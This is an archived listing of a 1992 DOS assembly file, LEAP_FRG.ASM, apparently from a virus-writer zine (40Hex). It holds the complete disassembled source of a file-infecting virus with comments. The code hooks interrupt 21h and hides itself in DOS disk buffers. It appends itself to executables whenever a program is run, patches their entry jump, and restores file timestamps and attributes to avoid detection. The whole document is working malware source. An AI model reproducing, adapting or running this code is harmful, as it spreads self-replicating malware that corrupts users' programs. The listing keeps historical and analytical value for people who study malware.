home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LEAP_FRG.ASM < prev    next >
Assembly Source File  |  1992-08-12  |  14KB  |  279 lines
  1.  
  2. ussr516         segment byte public
  3.                 assume  cs:ussr516, ds:ussr516
  4.                 org     100h
  5. ; Disassembled by Dark Angel of PHALCON/SKISM
  6. ; for 40Hex Number 7 Volume 2 Issue 3
  7. stub:           db      0e9h, 0, 0
  8.                 db      0e9h, 1, 0, 0
  9. ; This is where the virus really begins
  10. start:
  11.                 push    ax
  12.                 call    beginvir
  13.  
  14. orig4           db      0cdh, 20h, 0, 0
  15. int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
  16.                                                        ; entry point
  17. int21store      db      0, 0, 0, 0
  18.  
  19. beginvir:       pop     bp                             ; BP -> orig4
  20.                 mov     si,bp
  21.                 mov     di,103h
  22.                 add     di,[di-2]                      ; DI -> orig4
  23.                 movsw                                  ; restore original
  24.                 movsw                                  ; 4 bytes of program
  25.                 xor     si,si
  26.                 mov     ds,si
  27.                 les     di,dword ptr ds:[21h*4]
  28.                 mov     [bp+8],di                      ; int21store
  29.                 mov     [bp+0Ah],es
  30.                 lds     di,dword ptr ds:[30h*4+1]      ; Bug????
  31. findmarker:
  32.                 inc     di
  33.                 cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
  34.                 jne     findmarker                     ; to the entry point
  35.                 mov     [bp+4],di                      ; and move to
  36.                 mov     [bp+6],ds                      ; int30store
  37.                 mov     ax,5252h                       ; Get list of lists
  38.                 int     21h                            ; and also ID check
  39.  
  40.                 add     bx,12h                         ; Already installed?
  41.                 jz      quitvir                        ; then exit
  42.                 push    bx
  43.                 mov     ah,30h                         ; Get DOS version
  44.                 int     21h
  45.  
  46.                 pop     bx                             ; bx = 12, ptr to 1st
  47.                                                        ; disk buffer
  48.                 cmp     al,3
  49.                 je      handlebuffer                   ; if DOS 3
  50.                 ja      handleDBHCH                    ; if > DOS 3
  51.                 inc     bx                             ; DOS 2.X, offset is 13
  52. handlebuffer:
  53.                 push    ds
  54.                 push    bx
  55.                 lds     bx,dword ptr [bx]              ; Get seg:off of buffer
  56.                 inc     si
  57.                 pop     di
  58.                 pop     es                             ; ES:DI->seg:off buff
  59.                 mov     ax,[bx]                        ; ptr to next buffer
  60.                 cmp     ax,0FFFFh                      ; least recently used?
  61.                 jne     handlebuffer                   ; if not, go find it
  62.                 cmp     si,3
  63.                 jbe     quitvir
  64.                 stosw
  65.                 stosw
  66.                 jmp     short movetobuffer
  67. handleDBHCH:   ; Disk Buffer Hash Chain Head array
  68.                 lds     si,dword ptr [bx]              ; ptr to disk buffer
  69.                 lodsw                                  ; info
  70.                 lodsw                                  ; seg of disk buffer
  71.                                                        ; hash chain head array
  72.                 inc     ax                             ; second entry
  73.                 mov     ds,ax
  74.                 xor     bx,bx
  75.                 mov     si,bx
  76.                 lodsw                                  ; EMS page, -1 if not
  77.                                                        ; in EMS
  78.                 xchg    ax,di                          ; save in di
  79.                 lodsw                                  ; ptr to least recently
  80.                                                        ; used buffer
  81.                 mov     [di+2],ax                      ; change disk buffer
  82.                                                        ; backward offset to
  83.                                                        ; least recently used
  84.                 xchg    ax,di                          ; restore EMS page
  85.                 mov     [di],ax                        ; set to least recently
  86. movetobuffer:                                          ; used
  87.                 mov     di,bx
  88.                 push    ds
  89.                 pop     es                             ; ES:DI -> disk buffer
  90.                 push    cs
  91.                 pop     ds
  92.                 mov     cx,108h
  93.                 lea     si,[bp-4]                      ; Copy from start
  94.                 rep     movsw
  95.                 mov     ds,cx                          ; DS -> interrupt table
  96.                 mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
  97.                 mov     word ptr ds:[4*21h+2],es       ; at int21
  98. quitvir:
  99.                 push    cs                             ; CS = DS = ES
  100.                 pop     es
  101.                 push    es
  102.                 pop     ds
  103.                 pop     ax
  104.                 mov     bx,ax
  105.                 mov     si, 100h                       ; set up stack for
  106.                 push    si                             ; the return to the
  107.                 retn                                   ; original program
  108. int24:
  109.                 mov     al,3                           ; Ignore all errors
  110.                 iret
  111. tickstore       db      3                              ; Why???
  112. buffer          db      3, 0, 9, 0
  113.  
  114. int21:
  115.                 pushf
  116.                 cli                                    ; CP/M style call entry
  117.                 call    dword ptr cs:[int30store-start]
  118.                 retn                                   ; point of int 21h
  119.  
  120. int21DSDX:                                             ; For int 21h calls
  121.                 push    ds                             ; with
  122.                 lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
  123.                 call    int21
  124.                 pop     ds
  125.                 retn
  126.  
  127.                 cmp     ax,4B00h                       ; Execute
  128.                 je      Execute
  129.                 cmp     ax,5252h                       ; ID check
  130.                 je      CheckID
  131.                 cmp     ah,30h                         ; DOS Version
  132.                 je      DosVersion
  133. callorig21:                                            ; Do other calls
  134.                 jmp     dword ptr cs:[int21store-start]
  135. DosVersion:    ; Why?????                             ; DOS Version
  136.                 dec     byte ptr cs:[tickstore-start]
  137.                 jnz     callorig21                     ; Continue if not 0
  138.                 push    es
  139.                 xor     ax,ax
  140.                 push    ax
  141.                 mov     es,ax
  142.                 mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
  143.                                                        ; since midnight
  144.                 and     al,7                           ; MOD 15
  145.                 inc     ax
  146.                 inc     ax
  147.                 mov     cs:[tickstore-start],al        ; # 2-17
  148.                 pop     ax
  149.                 pop     es
  150.                 iret
  151. CheckID:                                               ; ID Check
  152.                 mov     bx,0FFEEh                      ; FFEEh = -12h
  153.                 iret
  154. Execute:                                               ; Execute
  155.                 push    ax                             ; Save registers
  156.                 push    cx
  157.                 push    es
  158.                 push    bx
  159.                 push    ds                             ; DS:DX -> filename
  160.                 push    dx                             ; save it on stack
  161.                 push    bp
  162.                 mov     bp,sp                          ; Set up stack frame
  163.                 sub     sp,0Ah                         ; Temporary variables
  164.                                                        ; [bp-A] = attributes
  165.                                                        ; [bp-8] = int 24 off
  166.                                                        ; [bp-6] = int 24 seg
  167.                                                        ; [bp-4] = file time
  168.                                                        ; [bp-2] = file date
  169.                 sti
  170.                 push    cs
  171.                 pop     ds
  172.                 mov     ax,3301h                       ; Turn off ^C check
  173.                 xor     dl,dl                          ; (never turn it back
  174.                 call    int21                          ;  on.  Bug???)
  175.                 mov     ax,3524h                       ; Get int 24h
  176.                 call    int21                          ; (Critical error)
  177.                 mov     [bp-8],bx
  178.                 mov     [bp-6],es
  179.                 mov     dx,int24-start
  180.                 mov     ax,2524h                       ; Set to new one
  181.                 call    int21
  182.                 mov     ax,4300h                       ; Get attributes
  183.                 call    int21DSDX
  184.                 jnc     continue
  185. doneinfect:
  186.                 mov     ax,2524h                       ; Restore crit error
  187.                 lds     dx,dword ptr [bp-8]            ; handler
  188.                 call    int21
  189.                 cli
  190.                 mov     sp,bp
  191.                 pop     bp
  192.                 pop     dx
  193.                 pop     ds
  194.                 pop     bx
  195.                 pop     es
  196.                 pop     cx
  197.                 pop     ax
  198.                 jmp     short callorig21               ; Call orig handler
  199. continue:
  200.                 mov     [bp-0Ah],cx                    ; Save attributes
  201.                 test    cl,1                           ; Check if r/o????
  202.                 jz      noclearattr
  203.                 xor     cx,cx
  204.                 mov     ax,4301h                       ; Clear attributes
  205.                 call    int21DSDX                      ; Filename in DS:DX
  206.                 jc      doneinfect                     ; Quit on error
  207. noclearattr:
  208.                 mov     ax,3D02h                       ; Open read/write
  209.                 call    int21DSDX                      ; Filename in DS:DX
  210.                 jc      doneinfect                     ; Exit if error
  211.                 mov     bx,ax
  212.                 mov     ax,5700h                       ; Save time/date
  213.                 call    int21
  214.                 mov     [bp-4],cx
  215.                 mov     [bp-2],dx
  216.                 mov     dx,buffer-start
  217.                 mov     cx,4
  218.                 mov     ah,3Fh                         ; Read 4 bytes to
  219.                 call    int21                          ; buffer
  220.                 jc      quitinf
  221.                 cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
  222.                 jne     quitinf                        ; Otherwise, quit
  223.                 mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
  224.                 dec     dx
  225.                 xor     cx,cx
  226.                 mov     ax,4201h                       ; go there
  227.                 call    int21
  228.                 mov     ds:[buffer-start],ax           ; new location offset
  229.                 mov     dx,orig4-start
  230.                 mov     cx,4
  231.                 mov     ah,3Fh                         ; Read 4 bytes there
  232.                 call    int21
  233.                 mov     dx,ds:[orig4-start]
  234.                 cmp     dl,0E9h                        ; 0E9h means we might
  235.                 jne     infect                         ; already be there
  236.                 mov     ax,ds:[orig4+2-start]          ; continue checking
  237.                 add     al,dh                          ; to see if we really
  238.                 sub     al,ah                          ; are there.
  239.                 jz      quitinf
  240. infect:
  241.                 xor     cx,cx
  242.                 mov     dx,cx
  243.                 mov     ax,4202h                       ; Go to EOF
  244.                 call    int21
  245.                 mov     ds:[buffer+2-start],ax         ; save filesize
  246.                 mov     cx,204h
  247.                 mov     ah,40h                         ; Write virus
  248.                 call    int21
  249.                 jc      quitinf                        ; Exit if error
  250.                 sub     cx,ax
  251.                 jnz     quitinf
  252.                 mov     dx,ds:[buffer-start]
  253.                 mov     ax,ds:[buffer+2-start]
  254.                 sub     ax,dx
  255.                 sub     ax,3                           ; AX->jmp offset
  256.                 mov     word ptr ds:[buffer+1-start],ax; Set up buffer
  257.                 mov     byte ptr ds:[buffer-start],0E9h; code the jmp
  258.                 add     al,ah
  259.                 mov     byte ptr ds:[buffer+3-start],al
  260.                 mov     ax,4200h                       ; Rewind to jmploc
  261.                 call    int21
  262.                 mov     dx, buffer-start
  263.                 mov     cx,4                           ; Write in the jmp
  264.                 mov     ah,40h
  265.                 call    int21
  266. quitinf:
  267.                 mov     cx,[bp-4]
  268.                 mov     dx,[bp-2]
  269.                 mov     ax,5701h                       ; Restore date/time
  270.                 call    int21
  271.                 mov     ah,3Eh                         ; Close file
  272.                 call    int21
  273.                 mov     cx,[bp-0Ah]                    ; Restore attributes
  274.                 mov     ax,4301h
  275.                 call    int21DSDX
  276.                 jmp     doneinfect                     ; Return
  277. ussr516         ends
  278.                 end     stub
  279.